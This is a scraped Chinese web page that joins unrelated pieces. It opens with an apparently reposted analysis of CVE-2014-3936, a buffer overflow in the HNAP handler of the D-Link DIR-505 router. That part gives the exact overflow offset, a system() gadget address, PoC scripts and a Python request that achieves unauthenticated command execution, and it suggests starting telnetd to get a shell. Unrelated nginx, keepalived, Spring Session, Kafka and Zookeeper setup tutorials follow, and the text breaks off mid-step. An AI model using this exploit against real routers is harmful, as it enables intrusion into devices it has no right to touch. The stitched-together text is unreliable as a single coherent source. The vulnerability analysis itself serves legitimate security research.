整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          CVE-2014-3936 dir-505 數組越界緩沖區溢出

          洞分析

          CVE-2014-3936 是發生在 dlink 旗下路由器 dir-505 的緩沖區溢出漏洞,漏洞存在于固件版本 1.07 及以前的 HNAP 處理程序中,漏洞發生在 HNAP 處理請求的時候,將 CONTENT_LENGTH 大小的數據直接復制到了緩沖區中,如果 CONTENT_LENGTH 大小超過了緩沖區大小,就會導致緩沖區溢出,進而實現代碼執行。總之,是一個數組越界導致緩沖區溢出的漏洞。

          此次漏洞分析采用的是 dir-505 固件版本 1.07,漏洞下載地址見參考鏈接。通過分析固件的文件系統,可以知道服務器采用的是 lighttpd 作為后端,lighttpd 也是嵌入式設備經常使用的一個小型 http server。發生漏洞的程序是 ./usr/bin/my_cgi.cgi,使用的是 fastcgi 調用過程,當收到 uri 為 HNAP1 的數據包時,會將數據包通過環境變量和標準輸入 STDIN 傳給 my_cgi.cgi 進行處理。

          漏洞發生的位置是在 main -> do_hnap 函數中,do_hnap 函數在從環境變量中讀取數據的時候,先讀取數據包長度 CONTENT_LENGTH,然后根據其大小,通過一個循環,從標準輸入中每次讀取一個字節放在函數棧上的緩沖區中。如果 CONTENT_LENGTH 過大,就會導致緩沖區溢出,實際上就是數據包的數據夠多,就會發生緩沖區溢出。IDA 中反編譯的關鍵流程如下:

          int do_hnap() 
          {  
            dec_content_length = 0;
            content_length = getenv("CONTENT_LENGTH");    // 從環境變量獲取 CONTENT_LENGTH
            if ( content_length )
              dec_content_length = strtol(content_length, 0, 10); // 將 CONTENT_LENGTH 轉化為 10 進制
            ...
            if ( dec_content_length > 0 )
            {
              loop_pointer = v12;                         // 指向 buf 的起始位置
              end_of_buf = &v12[dec_content_length];      // 指向 buf 的結束位置
              memset(v12, 0, sizeof(v12));                // 對 buf 清零
              while ( stdin->_fileno )
              {
                v6 = stdin->_IO_write_base;
                if ( v6 >= stdin->_IO_write_end )
                {
                  v8 = (int (**)(FILE *))&_fgetc_unlocked;// v8 實際上是一個函數指針
          LABEL_21:
                  v7 = ((int (*)(void))v8)();             // 調用 fgetc
                  goto LABEL_22;
                }
                v7 = *v6;
                stdin->_IO_write_base = v6 + 1;
          LABEL_22:
                *loop_pointer++ = v7;                     // 將 fgetc 讀取到的字符寫入到 buf
                if ( loop_pointer == end_of_buf )            // 結束從 STDIN 中讀取
                {
                  ...
                }
              }
              v8 = &fgetc;
          

          在 do_hnap 函數中,函數執行完畢后的返回地址在初始化堆棧的時候存放在 sp + 0x7574,緩沖區的起始地址是 sp + 0x30,那么一共需要 30020 個字節使緩沖區溢出,再額外溢出 4 個字節就可以修改保存再堆上的返回地址,最后 do_hnap 函數執行完畢將返回地址從棧中取出到 ra 寄存器然后跳轉,就可以達到劫持控制流的目的。緩沖區的起始地址可以從 IDA 直接反編譯得到。

          .text:00430DBC sw      $ra, 0x7560+var_s14($sp)    # 保存返回地址到棧上
          ...
          .text:00431168 lw      $ra, 0x7574($sp)    # 從棧上恢復返回地址跳轉執行
          ...
          .text:00431184 jr      $ra
          .text:00431188 addiu   $sp, 0x7578
          

          環境搭建

          后端的 server 是 lighttpd,一開始沒有在固件根目錄下面找到 html 文件,在 cq 師傅的提醒下,先分析系統的啟動腳本 ./etc/rc.d/rcS。在啟動腳本中,掛載一些設備和創建相關目錄,然后是系統初始化程序 system_manager 運行,在其中也會通過 system 函數執行一些命令。如下是系統初始化腳本。

          #!/bin/ash
          
          # This script runs when init it run during the boot process.
          # Mounts everything in the fstab
          mount -a
          mount -o remount +w /
          
          # Mount the RAM filesystem to /tmp
          mount -t tmpfs tmpfs /tmp
          
          # 此處會覆蓋掉原來的 etc 目錄
          # copy all files in the mnt folder to the etc folder
          cp -a /mnt/* /etc
          
          ln -sf /etc/hotplug/hotplug /sbin/hotplug
          
          mkdir -p /var/etc
          mkdir -p /var/firm
          mkdir -p /var/log
          mkdir -p /var/misc
          mkdir -p /var/run
          mkdir -p /var/sbin
          mkdir -p /var/tmp
          mkdir -p /tmp/var
          
          # 系統初始化程序
          #/bin/echo "Init System..."
          system_manager &
          
          #/bin/echo "Start tftpd..."
          tftpd &
          

          將系統初始化程序 system_manager 放入 IDA 分析,在 main -> init_system -> init_web_server -> init_html_files 中可以看到是如何將原本存放在 mnt 目錄下的 html 文件解壓出來的,那我們在啟動 lighttpd 之前就可以手動執行相關的命令,將 html 文件準備好。

          int init_html_files()
          {
            system("tar -zxf /etc/www.tgz");
            system("rm -f /etc/www.tgz");
            if ( !byte_416321 )
              system("mv /www/ap/* /www");
            system("rm -rf /www/ap");
            if ( byte_416321 == 2 )
              system("mv /www/rt/* /www");
            system("rm -rf /www/rt");
            if ( byte_416321 == 3 )
              system("mv /www/rpt/* /www");
            system("rm -rf /www/rpt");
            if ( byte_416321 == 4 )
              system("mv /www/whp/* /www");
            system("rm -rf /www/whp");
            system("cp -f /usr/bin/my_cgi.cgi /www");
            copy_default_xml();
            return read_lang_from_flash();
          }
          

          最后是看 system_manager 是如何啟動 lighttpd 的,可以在 IDA 中直接搜索字符串 lighttpd,定位到 init_web_server 函數中,然后分析 system 函數傳入的參數,就可以得到 lighttpd 的啟動命令 lighttpd -f /etc/lighttpd/lighttpd.conf。此處如果直接 F5 的話,分析得到的 system 傳入命令不完整。

          .text:00403C00 addiu   $a0, (aLighttpdFS - 0x400000)  # "lighttpd -f %s &"
          .text:00403C04 addiu   $a1, (aEtcLighttpdLig_0 - 0x400000)  # "/etc/lighttpd/lighttpd.conf"
          .text:00403C08 jr      $t9 ; _system
          .text:00403C0C addiu   $sp, 0x20
          

          以上是分析工作,實際上真正啟動服務器,可以先直接執行啟動腳本 ./etc/rc.d/rcS,執行完之后,./etc 目錄被原本 ./mnt 中的文件替代了,html 文件被解壓出來放在了 ./www 文件夾中。運行如下命令,就可以啟動 http 服務了。

          # 進入固件根目錄
          chroot . ./etc/rc.d/rcS
          # 再執行一遍 system_manager 這個地方會卡住 因為有些 /dev 沒有被掛載,例如 nvram
          chroot . ./usr/bin/system_manager
          # 啟動 lighttpd,-D 不進入后臺運行
          chroot . ./usr/bin/lighttpd -f ./etc/lighttpd/lighttpd.conf -D
          

          漏洞復現

          上述的環境搭建其實是不完善的,例如登錄操作這種需要 nvram 的根本執行不了,好在這次漏洞是一個無需認證的漏洞。我沒有找到在 lighttpd 中是怎么調用的 my_cgi.cgi,那就直接調試 cgi,通過環境變量傳入數據進行調試。

          幸運的是,可以直接使用 QEMU 進行調試這個漏洞,漏洞的觸發過程也不涉及到額外的 patch 工作。首先分析如何才能使代碼執行到 do_hnap 函數中存在漏洞的代碼處。在 main 函數中,需要設置環境變量 SCRIPT_NAME = HNAP1,使之進入 do_hnap 函數,然后設置環境變量 SOAP_ACTION != (Reboot | SetRouterLanSettings | SetWLanRadioSecurity | SetWLanRadioSettings),也就是不等于以上四者。最后設置環境變量 CONTENT_LENGTH 控制從標準輸入讀入到緩沖區的字節數目。

          觸發漏洞的調試腳本如下,補充說明一下需要將 qemu-mips-static 程序復制到固件的根目錄下,這樣 chroot 的時候才可以正確使用 qemu-mips-static 進行調試。

          # sudo ./debug_mycgi.sh
          #!/bin/bash
          
          export SCRIPT_NAME="HNAP1"
          export SOAP_ACTION="soap"
          export CONTENT_LENGTH="30028"
          
          STDIN=`python -c "print 'A'*30020 + 'deadbeef'"`
          echo "$STDIN" | chroot . ./qemu-mips-static -g 12345 ./usr/bin/my_cgi.cgi
          

          路由器上的程序安全措施通常非常簡單,沒有 NX 也沒有 PIE,此處就直接使用 ret2syscall 來達到命令執行的操作,在 IDA 中使用 mipsrop 插件搜索合適的 gadget,決定使用 0x00405C5C 處。

          .text:00405C5C la      $t9, system
          .text:00405C60 li      $s1, loc_430000
          .text:00405C64 jalr    $t9 ; system
          .text:00405C68 addiu   $a0, $sp, 0x64+var_3C  # command
          

          當劫持了控制流執行到 gadget,堆棧已經從 do_hnap 函數中恢復了平衡,通過計算,system 函數執行的命令保存在相對于 buf 30064 個字節處,總結就是:buf 寫入 30020 個字節之后可以覆蓋返回地址到 gadget 0x00405c5c,再寫入 40 個字節可以寫入 system 函數執行的命令,那么先用 python 腳本寫入一個 stdin 文件,然后在調試腳本中通過 cat 輸出文件內容,通過管道傳遞給 qemu

          # python poc.py
          cmd = b'touch test\x00'
          with open('./stdin', 'wb') as f:
              poc = 30020 * b'A' + b'\x00\x40\x5c\x5c' + 40 * b'B' + cmd
              f.write(poc)
          
          # sudo ./debug_mycgi.sh
          #!/bin/bash
          
          export SCRIPT_NAME="HNAP1"
          export SOAP_ACTION="soap"
          export CONTENT_LENGTH="30080"
          
          cat ./stdin | chroot . ./qemu-mips-static -g 12345 ./usr/bin/my_cgi.cgi
          

          使用 gdb-multiarch 連接上 target remote :12345,然后在 do_hnap 函數恢復返回地址到 ra 寄存器處下斷點 b *0x431168,可以看到執行完當前指令后,ra 被寫入為 gadget 地址 0x405c5c

          繼續單步調試到執行 gadget,調用 system 函數,執行的命令保存在 sp + 0x28 處。

          可以看到成功命令執行,創建了 test 文件

          漏洞利用

          如上的漏洞復現調試是針對與 my_cgi.cgi,而真實運行環境是通過 lighttpd 服務器接受用戶發送請求數據包,然后將數據通過環境變量以及 STDIN 傳遞給 my_cgi.cgi 進行處理,漏洞發生也是在這個地方,那么漏洞利用需要構造數據包向 lighttpd 傳遞。初次之外,還需要看固件支持哪些命令,例如此處的 busybox 支持的命令如下:

          BusyBox v1.01 (2013.05.23-09:13+0000) multi-call binary
          
          Usage: busybox [function] [arguments]...
             or: [function] [arguments]...
          
                  BusyBox is a multi-call binary that combines many common Unix
                  utilities into a single executable.  Most people will create a
                  link to busybox for each function they wish to use and BusyBox
                  will act like whatever it was invoked as!
          
          Currently defined functions:
                  [, arping, ash, brctl, busybox, cat, chmod, cp, cut, date, dd,
                  df, dirname, du, echo, egrep, fdisk, fgrep, find, free, grep,
                  head, hostname, ifconfig, init, insmod, kill, killall, klogd,
                  linuxrc, ln, logger, login, logread, ls, lsmod, md5sum, mkdir,
                  mount, mv, nslookup, ping, ps, reboot, rm, rmmod, route, sed,
                  sh, sleep, syslogd, tar, telnetd, test, tftp, touch, tr, tty,
                  umount, uname, vconfig, vi, wc, wget, xargs, zcip
          

          那么簡潔版的 exp 如下,執行結果是直接寫回了到返回數據包中。

          import requests
          cmd = b'ls -l\x00'
          poc = 30020 * b'A' + b'\x00\x40\x5c\x5c' + 40 * b'B' + cmd
          res = requests.post(url='http://127.0.0.1:80/HNAP1/', data=poc)
          print(res)
          

          通過 busybox 支持的命令也可以看到,有 telnetd,如果在實體機上要獲取到一個可交互的 shell,那么可以開啟設備的 telnet 服務。

          個人小結

          如下是個人覺得可以加深對于程序執行流程理解的一些點:

          • do_hnap 函數中循環的控制及 MIPS 架構 s 系列寄存器的用法寄存器 s0~s7 通常是用來在子函數內部使用,如果在子函數內部還需要調用函數,那么需要將這些寄存器的值保存在棧上,執行完調用函數后進行恢復。例如 s0~s7 在 main 函數中使用,當 main 函數調用 do_hnap 的時候,在 do_hnap 函數的初始化堆棧時,將寄存器保存到了棧上。因此,我們在緩沖區溢出的時候,有時候不止可以控制 ra 寄存器,還可以控制 s 系列寄存器。# do_hnap 函數初始化過程 .text:00430DAC li $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0 - .) .text:00430DB4 addu $gp, $t9 .text:00430DB8 addiu $sp, -0x7578 .text:00430DBC sw $ra, 0x7560+var_s14($sp) .text:00430DC0 sw $s4, 0x7560+var_s10($sp) .text:00430DC4 sw $s3, 0x7560+var_sC($sp) .text:00430DC8 sw $s2, 0x7560+var_s8($sp) .text:00430DCC sw $s1, 0x7560+var_s4($sp) .text:00430DD0 sw $s0, 0x7560+var_s0($sp) ... # do_hnap 函數執行完畢 .text:00431168 lw $ra, 0x7574($sp) .text:0043116C move $v0, $s0 .text:00431170 lw $s4, 0x7570($sp) .text:00431174 lw $s3, 0x756C($sp) .text:00431178 lw $s2, 0x7568($sp) .text:0043117C lw $s1, 0x7564($sp) .text:00431180 lw $s0, 0x7560($sp) .text:00431184 jr $ra .text:00431188 addiu $sp, 0x7578 那么現在回歸正題,do_hnap 函數是使用的 s0 指向 buf 的起始地址,s1 指向 buf 的結束位置,s3 指向標準輸入的起始地址。循環的結構使用 IDA 的控制流圖看的話,就非常簡介明了。s0 先指向 buf 起始地址,每次調用 fgetc 讀取一個字符保存到 s0,然后 s0 自加指向下一個位置,直到 s0 指向結束地址。.text:00430F9C la $s3, stdin # 標準輸入存儲在 s3 寄存器 .text:00430FA0 move $s0, $a0 # s0:指針指向 buf 的起始位置 .text:00430FA4 addu $s1, $a0, $s1 # s1:指針指向 buf 的結束位置 ... .text:00431010 sb $v0, 0($s0) # 將從 fgetc 讀取到的字符存儲到緩沖區 .text:00431014 addiu $s0, 1 # s0 移動到緩沖區下一個位置 .text:00431018 bne $s0, $s1, loc_430FB4 # 比較進行跳轉
          • 關于 server 的啟動命令分析可以分析固件文件系統的初始化啟動腳本,通常在 /etc/rc* 文件或者目錄下,就可以得到設備啟動時執行了哪些初始化工作,例如掛載設備、創建文件等等。此處還有解壓 html 文件,應該為了節省設備的存儲空間,第一次啟動的時候進行解壓。
          • 關于漏洞利用執行結果回顯如果設備固件中帶有一些可以進行交互的程序例如 sshd、telnetd 等服務,那么命令執行可以通過這些程序直接獲取到一個可交互的 shell,如果沒有,可以考慮把執行結果寫回到設備的 www 目錄中的文件,通過 http 服務訪問命令執行結果。

          參考鏈接

          • [exploit.db] D-Link HNAP – Request Remote Buffer Overflow (Metasploit)
          • Hacking the D-Link DSP-W215 Smart Plug
          • [固件下載] DIR-505_REVA_FIRMWARE_1.07.ZIP]

          本文由OneShell原創發布
          轉載,請參考轉載聲明,注明出處: https://www.anquanke.com/post/id/261344
          安全客 - 有思想的安全新媒體

          inux操作nginx

          Nginx是一款輕量級的網頁服務器、反向代理服務器。相較于Apache、lighttpd具有占有內存少,穩定性高等優勢。它最常的用途是提供反向代理服務。

          linux安裝

          在Centos下,yum源不提供nginx的安裝,可以通過切換yum源的方法獲取安裝。也可以通過直接下載安裝包的方法,以下命令均需root權限執行:

          首先安裝必要的庫(nginx 中gzip模塊需要 zlib 庫,rewrite模塊需要 pcre 庫,ssl 功能需要openssl庫)。選定/usr/local為安裝目錄,以下具體版本號根據實際改變。

          安裝PCRE庫

          $ cd /usr/local/

          $ wget ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/pcre-8.36.tar.gz

          $ tar -zxvf pcre-8.36.tar.gz

          $ cd pcre-8.36

          $ ./configure

          $ make

          $ make install

          ./configure報錯

          configure: error: You need a C++ compiler for C++ support.

          解決辦法

          yum install -y gcc gcc-c++
          

          安裝zlib庫

          $ cd /usr/local/

          $ wget http://zlib.net/zlib-1.2.8.tar.gz

          $ tar -zxvf zlib-1.2.8.tar.gz

          $ cd zlib-1.2.8

          $ ./configure

          $ make

          $ make install

          安裝ssl

          $ cd /usr/local/

          $ wget http://www.openssl.org/source/openssl-1.0.1j.tar.gz

          $ tar -zxvf openssl-1.0.1j.tar.gz

          $ ./config

          $ make

          $ make install

          安裝nginx

          $ cd /usr/local/

          $ wget http://nginx.org/download/nginx-1.8.0.tar.gz

          $ tar -zxvf nginx-1.8.0.tar.gz

          $ cd nginx-1.8.0

          $ ./configure --prefix=/usr/local/nginx

          $ make

          $ make install

          安裝常見錯誤:

          Nginx啟動提示找不到libpcre.so.1解決方法

          如果是32位系統

          [root@lee ~]# ln -s /usr/local/lib/libpcre.so.1 /lib

          如果是64位系統

          [root@lee ~]# ln -s /usr/local/lib/libpcre.so.1 /lib64

          然后在啟動nginx就OK了

          [root@lee ~]# /usr/local/webserver/nginx/sbin/nginx

          啟動nginx

          $ /usr/local/nginx/sbin/nginx

          檢查是否啟動成功:打開瀏覽器訪問此機器的 IP,如果瀏覽器出現 Welcome to nginx! 則表示 Nginx 已經安裝并運行成功。

          常用命令

          重啟:

          $ /usr/local/nginx/sbin/nginx 啟動命令

          重啟:

          $ /usr/local/nginx/sbin/nginx –s reload

          停止:

          $ /usr/local/nginx/sbin/nginx –s stop

          測試配置文件是否正常:

          $ /usr/local/nginx/sbin/nginx –t

          強制關閉:

          $ pkill nginx

          啟動Nginx + Keepalived高可用

          什么是Keepalived

          Keepalived是一個免費開源的,用C編寫的類似于layer3, 4 & 7交換機制軟件,具備我們平時說的第3層、第4層和第7層交換機的功能。主要提供loadbalancing(負載均衡)和 high-availability(高可用)功能,負載均衡實現需要依賴Linux的虛擬服務內核模塊(ipvs),而高可用是通過VRRP協議實現多臺機器之間的故障轉移服務。

          上圖是Keepalived的功能體系結構,大致分兩層:用戶空間(user space)和內核空間(kernel space)。

          內核空間:主要包括IPVS(IP虛擬服務器,用于實現網絡服務的負載均衡)和NETLINK(提供高級路由及其他相關的網絡功能)兩個部份。

          用戶空間

          • WatchDog:負載監控checkers和VRRP進程的狀況
          • VRRP Stack:負載負載均衡器之間的失敗切換FailOver,如果只用一個負載均稀器,則VRRP不是必須的。
          • Checkers:負責真實服務器的健康檢查healthchecking,是keepalived最主要的功能。換言之,可以沒有VRRP Stack,但健康檢查healthchecking是一定要有的。
          • IPVS wrapper:用戶發送設定的規則到內核ipvs代碼
          • Netlink Reflector:用來設定vrrp的vip地址等。

          Keepalived的所有功能是配置keepalived.conf文件來實現的。

          安裝keepalived

          下載keepalived地址:http://www.keepalived.org/download.html

          解壓安裝:

          tar -zxvf keepalived-1.2.18.tar.gz -C /usr/local/

          yum install -y openssl openssl-devel(需要安裝一個軟件包)

          cd keepalived-1.2.18/ && ./configure --prefix=/usr/local/keepalived

          make && make install

          keepalived安裝成Linux系統服務

          將keepalived安裝成Linux系統服務,因為沒有使用keepalived的默認安裝路徑(默認路徑:/usr/local),安裝完成之后,需要做一些修改工作:

          首先創建文件夾,將keepalived配置文件進行復制:

          mkdir /etc/keepalived

          cp /usr/local/keepalived/etc/keepalived/keepalived.conf /etc/keepalived/

          然后復制keepalived腳本文件:

          cp /usr/local/keepalived/etc/rc.d/init.d/keepalived /etc/init.d/

          cp /usr/local/keepalived/etc/sysconfig/keepalived /etc/sysconfig/

          ln -s /usr/local/sbin/keepalived /usr/sbin/

          ln -s /usr/local/keepalived/sbin/keepalived /sbin/

          可以設置開機啟動:chkconfig keepalived on,到此我們安裝完畢!

          keepalived 常用命令

          service keepalived start

          service keepalived stop

          配置nginx主備自動重啟

          第三步:對配置文件進行修改:vim /etc/keepalived/keepalived.conf

          keepalived.conf配置文件說明:

          (一)Master

          ! Configuration File for keepalived

          global_defs {

          router_id bhz005 ##標識節點的字符串,通常為hostname

          }

          ## keepalived 會定時執行腳本并且對腳本的執行結果進行分析,動態調整vrrp_instance的優先級。這里的權重weight 是與下面的優先級priority有關,如果執行了一次檢查腳本成功,則權重會-20,也就是由100 - 20 變成了80,Master 的優先級為80 就低于了Backup的優先級90,那么會進行自動的主備切換。

          如果腳本執行結果為0并且weight配置的值大于0,則優先級會相應增加。

          如果腳本執行結果不為0 并且weight配置的值小于0,則優先級會相應減少。

          vrrp_script chk_nginx {

          script "/etc/keepalived/nginx_check.sh" ##執行腳本位置

          interval 2 ##檢測時間間隔

          weight -20 ## 如果條件成立則權重減20(-20)

          }

          ## 定義虛擬路由 VI_1為自定義標識。

          vrrp_instance VI_1 {

          state MASTER ## 主節點為MASTER,備份節點為BACKUP

          ## 綁定虛擬IP的網絡接口(網卡),與本機IP地址所在的網絡接口相同(我這里是eth6)

          interface eth6

          virtual_router_id 172 ## 虛擬路由ID號

          mcast_src_ip 192.168.1.172 ## 本機ip地址

          priority 100 ##優先級配置(0-254的值)

          Nopreempt ##

          advert_int 1 ## 組播信息發送間隔,倆個節點必須配置一致,默認1s

          authentication {

          auth_type PASS

          auth_pass bhz ## 真實生產環境下對密碼進行匹配

          }

          track_script {

          chk_nginx

          }

          virtual_ipaddress {

          192.168.1.170 ## 虛擬ip(vip),可以指定多個

          }

          }

          (二)Backup

          ! Configuration File for keepalived

          global_defs {

          router_id bhz006

          }

          vrrp_script chk_nginx {

          script "/etc/keepalived/nginx_check.sh"

          interval 2

          weight -20

          }

          vrrp_instance VI_1 {

          state BACKUP

          interface eth7

          virtual_router_id 173

          mcast_src_ip 192.168.1.173

          priority 90 ##優先級配置

          advert_int 1

          authentication {

          auth_type PASS

          auth_pass bhz

          }

          track_script {

          chk_nginx

          }

          virtual_ipaddress {

          192.168.1.170

          }

          }

          (三)nginx_check.sh 腳本:

          #!/bin/bash

          A=`ps -C nginx –no-header |wc -l`

          if [ $A -eq 0 ];then

          /usr/local/nginx/sbin/nginx

          sleep 2

          if [ `ps -C nginx --no-header |wc -l` -eq 0 ];then

          killall keepalived

          fi

          fi

          (四)我們需要把master的keepalived配置文件 copy到master機器(172)的 /etc/keepalived/ 文件夾下,在把backup的keepalived配置文件copy到backup機器(173)的 /etc/keepalived/ 文件夾下,最后把nginx_check.sh腳本分別copy到兩臺機器的 /etc/keepalived/文件夾下。

          (五)nginx_check.sh腳本授權。賦予可執行權限:chmod +x /etc/keepalived/nginx_check.sh

          (六)啟動2臺機器的nginx之后。我們啟動兩臺機器的keepalived

          /usr/local/nginx/sbin/nginx

          service keepalived start

          ps -ef | grep nginx

          ps -ef | grep keepalived

          可以進行測試,首先看一下倆臺機器的ip a 命令下 都會出現一個虛擬ip,我們可以停掉 一個機器的keepalived,然后測試,命令:service keepalived stop。結果發現當前停掉的機器已經不可用,keepalived會自動切換到另一臺機器上。

          (七)我們可以測試在nginx出現問題的情況下,實現切換,這個時候我們只需要把nginx的配置文件進行修改,讓其變得不可用,然后強殺掉nginx進程即可,發現也會實現自動切換服務器節點。

          自動重啟不了,解決辦法

          查看腳本是否有運行的權限

          如果你是root登陸的話(不是的話,切換到root用戶,對*.sh賦可執行的權限)

          chmod 777 *.sh 賦予權限

          or

          chmod +x *.sh

          然后運行就OK了,即有權限對文件進行刪除等操作。

          nginx配置負載均衡

          創建一個springboot項目 實現負載均衡

          集群情況下Session共享解決方案

          集群情況下session會產生什么原因?

          因為Session存放在JVM內存中,集群的話多個JVM不會共享

          Session共享解決方案

          nginx或者haproxy做的負載均衡)

          用Nginx 做的負載均衡可以添加ip_hash這個配置,

          用haproxy做的負載均衡可以用 balance source這個配置。

          從而使同一個ip的請求發到同一臺服務器。

          利用數據庫同步session

          利用cookie同步session數據原理圖如下

          缺點:安全性差、http請求都需要帶參數增加了帶寬消耗

          使用Session集群存放Redis

          創建一個springboot項目

          引入maven依賴

          <!--spring boot 與redis應用基本環境配置 -->

          <dependency>

          <groupId>org.springframework.boot</groupId>

          <artifactId>spring-boot-starter-redis</artifactId>

          </dependency>

          <!--spring session 與redis應用基本環境配置,需要開啟redis后才可以使用,不然啟動Spring boot會報錯 -->

          <dependency>

          <groupId>org.springframework.session</groupId>

          <artifactId>spring-session-data-redis</artifactId>

          </dependency>

          創建SessionConfig

          import org.springframework.beans.factory.annotation.Value;

          import org.springframework.context.annotation.Bean;

          import org.springframework.data.redis.connection.jedis.JedisConnectionFactory;

          import org.springframework.session.data.redis.config.annotation.web.http.EnableRedisHttpSession;

          //這個類用配置redis服務器的連接

          //maxInactiveIntervalInSeconds為SpringSession的過期時間(單位:秒)

          @EnableRedisHttpSession(maxInactiveIntervalInSeconds = 1800)

          public class SessionConfig {

          // 冒號后的值為沒有配置文件時,制動裝載的默認值

          @Value("${redis.hostname:localhost}")

          String HostName;

          @Value("${redis.port:6379}")

          int Port;

          @Bean

          public JedisConnectionFactory connectionFactory() {

          JedisConnectionFactory connection = new JedisConnectionFactory();

          connection.setPort(Port);

          connection.setHostName(HostName);

          return connection;

          }

          }

          初始化Session

          //初始化Session配置

          public class SessionInitializer extends AbstractHttpSessionApplicationInitializer{

          public SessionInitializer() {

          super(SessionConfig.class);

          }

          }

          配置文件

          server.port=8080

          spring.redis.database=0

          spring.redis.host=192.168.110.185

          spring.redis.port=6379

          spring.redis.password=123456

          spring.redis.pool.max-idle=8

          spring.redis.pool.min-idle=0

          spring.redis.pool.max-active=8

          spring.redis.pool.max-wait=-1

          spring.redis.timeout=5000

          redis.hostname=192.168.110.185

          redis.port=6379

          redis.password=123456

          控制器層代碼

          import javax.servlet.http.HttpServletRequest;

          import javax.servlet.http.HttpSession;

          import org.springframework.beans.factory.annotation.Value;

          import org.springframework.boot.SpringApplication;

          import org.springframework.web.bind.annotation.RequestMapping;

          import org.springframework.web.bind.annotation.RestController;

          @RestController

          public class SessionController {

          @Value("${server.port}")

          private String PORT;

          public static void main(String[] args) {

          SpringApplication.run(SessionController.class, args);

          }

          @RequestMapping("/index")

          public String index() {

          return "index:" + PORT;

          }

          /**

          *

          * @methodDesc: 功能描述:(往session存放值)

          * @param: @param

          * httpSession

          * @param: @param

          * sessionKey

          * @param: @param

          * sessionValue

          * @returnType:@param httpSession

          * @returnType:@param sessionKey

          * @returnType:@param sessionValue

          * @returnType:@return String

          */

          @RequestMapping("/setSession")

          public String setSession(HttpServletRequest request, String sessionKey, String sessionValue) {

          HttpSession session = request.getSession(true);

          session.setAttribute(sessionKey, sessionValue);

          return "success,port:" + PORT;

          }

          /**

          *

          * @methodDesc: 功能描述:(從Session獲取值)

          * @param: @param

          * httpSession

          * @param: @param

          * sessionKey

          * @returnType:@param httpSession

          * @returnType:@param sessionKey

          * @returnType:@return Strin

          */

          @RequestMapping("/getSession")

          public String getSession(HttpServletRequest request, String sessionKey) {

          HttpSession session =null;

          try {

          session = request.getSession(false);

          } catch (Exception e) {

          e.printStackTrace();

          }

          String value=null;

          if(session!=null){

          value = (String) session.getAttribute(sessionKey);

          }

          return "sessionValue:" + value + ",port:" + PORT;

          }

          }

          高并發解決方案

          業務數據庫 -》 數據水平分割(分區分表分庫)、讀寫分離

          業務應用 -》 邏輯代碼優化(算法優化)、公共數據緩存

          應用服務器 -》 反向靜態代理、配置優化、負載均衡(apache分發,多tomcat實例)

          系統環境 -》 JVM調優

          頁面優化 -》 減少頁面連接數、頁面尺寸瘦身

          1、動態資源和靜態資源分離;

          2、CDN;

          3、負載均衡;

          4、分布式緩存;

          5、數據庫讀寫分離或數據切分(垂直或水平);

          6、服務分布式部署。

          、部署JDK

          1. 官網下載jdk版本

          https://www.oracle.com/java/technologies/javase/jdk11-archive-downloads.html

          1. 解壓安裝
          tar xzvf jdk-11.0.13_linux-x64_bin.tar.gz
          1. 配置環境變量

          vi /etc/profile

          export JAVA_HOME="/usr/local/jdk11.0.13"
          export PATH="$JAVA_HOME/bin:$PATH"
          export CLASSPATH=.:$JAVA_HOME/lib/tools.jar:$JAVA_HOME/lib/dt.jar
          source /etc/profile

          二、部署Zookeeper集群

          1. 下載安裝包

          Zookeeper下載地址:

          https://www.apache.org/dyn/closer.lua/zookeeper/zookeeper-3.8.4/apache-zookeeper-3.8.4-bin.tar.gz

          1. 解壓安裝
          tar xzvf apache-zookeeper-3.8.4-bin.tar.gz
          1. 修改配置文件

          修改config/zoo.cfg

          #修改數據存儲目錄 
          dataDir=/data/zookeeper/data
           
          #文件末尾追加配置內容,添加server端口傳輸
          server.1=192.168.0.1:2888:3888
          server.2=192.168.0.2:2888:3888
          server.3=192.168.0.3:2888:3888
          1. 創建myid文件
          • 在每臺服務器zookeeper的dataDir對應目錄下創建 myid 文件,內容為對應ip的zookeeper服務器編號;
          • dataDir目錄是你在zoo.cfg中配置的目錄。內容是你在zoo.cfg中配置集群時server.后面的數字。
          • 添加 myid 文件時,一定要在 Linux 里面創建,不要 notepad++等工具里面創建后上傳,因為可能會亂碼。并且內容上下不要有空行,左右不要有空格。

          第一臺:

          echo 1 > data/myid

          第二臺:

          echo 2 > data/myid

          第三臺:

          echo 3 > data/myid
          1. 啟動Zookeeper服務
          ./bin/zkServer.sh start


          三、部署Kafka集群

          1. 下載安裝包

          Kafka下載地址:https://downloads.apache.org/kafka/3.7.0/kafka_2.13-3.7.0.tgz

          1. 解壓
          tar xzvf kafka_2.13-3.7.0.tgz
          1. 修改配置文件

          進入config目錄,修改server.properties。這個配置文件里面的配置項非常多,下面列出幾個要重點關注的配置

          #broker 的全局唯一編號,不能重復,只能是數字。
          broker.id=0
          #數據文件地址。同樣默認是給的/tmp目錄。
          log.dirs=/data/kafka/logs
          #默認的每個Topic的分區數
          num.partitions=1
          #zookeeper的服務地址
          zookeeper.connect=192.168.0.1:2181,192.168.0.2:2181,
          listeners=PLAINTEXT://192.168.0.1:9092

          broker.id需要每個服務器上不一樣,分發到其他服務器上時,要注意修改一下,比如第一臺是0,第二臺就是1,第三臺的配置就是2。
          當多個Kafka服務注冊到同一個zookeeper集群上的節點,會自動組成集群。

          1. 啟動kafka集群
          cd /data/kafka
          ./bin/kafka-server-start.sh -daemon config/server.properties
          1. 測試

          1)創建topic

          ./bin/kafka-topics.sh --create --bootstrap-server 192.168.0.1:9092 \
            --replication-factor 3 --partitions 2 --topic testTopic

          2) 查看topic

          ./bin/kafka-topics.sh --bootstrap-server 192.168.0.1:9092 --list

          3) 向topic發送消息

          ./bin/kafka-console-producer.sh --bootstrap-server 192.168.0.1:9092 \
            --topic testTopic

          4) 消費消息


